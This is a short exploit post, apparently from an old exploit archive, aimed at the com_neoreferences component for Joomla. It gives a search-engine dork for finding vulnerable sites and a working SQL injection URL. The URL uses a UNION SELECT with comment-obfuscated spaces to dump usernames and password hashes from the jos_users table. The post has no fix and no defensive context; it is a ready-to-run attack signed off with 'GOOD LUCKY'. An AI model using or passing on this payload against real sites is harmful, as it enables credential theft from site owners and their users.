######################################################################### # # joomla SQL Injection(com_neoreferences) # ######################################################################### # # AUTHOR : S@BUN # # HOME : http://www.hackturkiye.com/ ######################################################################### # # DorKs 1 : allinurl: "com_neoreferences" # ######################################################################## EXPLOIT : index.php?option=com_neoreferences&Itemid=27&catid=99887766/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*%20where%20user_id=1=1/* ######################################################################### # S@BUN www.hackturkiye.com S@BUN ######################################################################### # S@BUN GOOD LUCKY S@BUN ######################################################################### added notes: NeoReferences December 2006 NeoJoomla Released under CREATIVE COMMONS License Copyright (C) 2006 Neoweb support@neojoomla.com www.neojoomla.com 1.3.1 Developped by NeoJoomla.]]>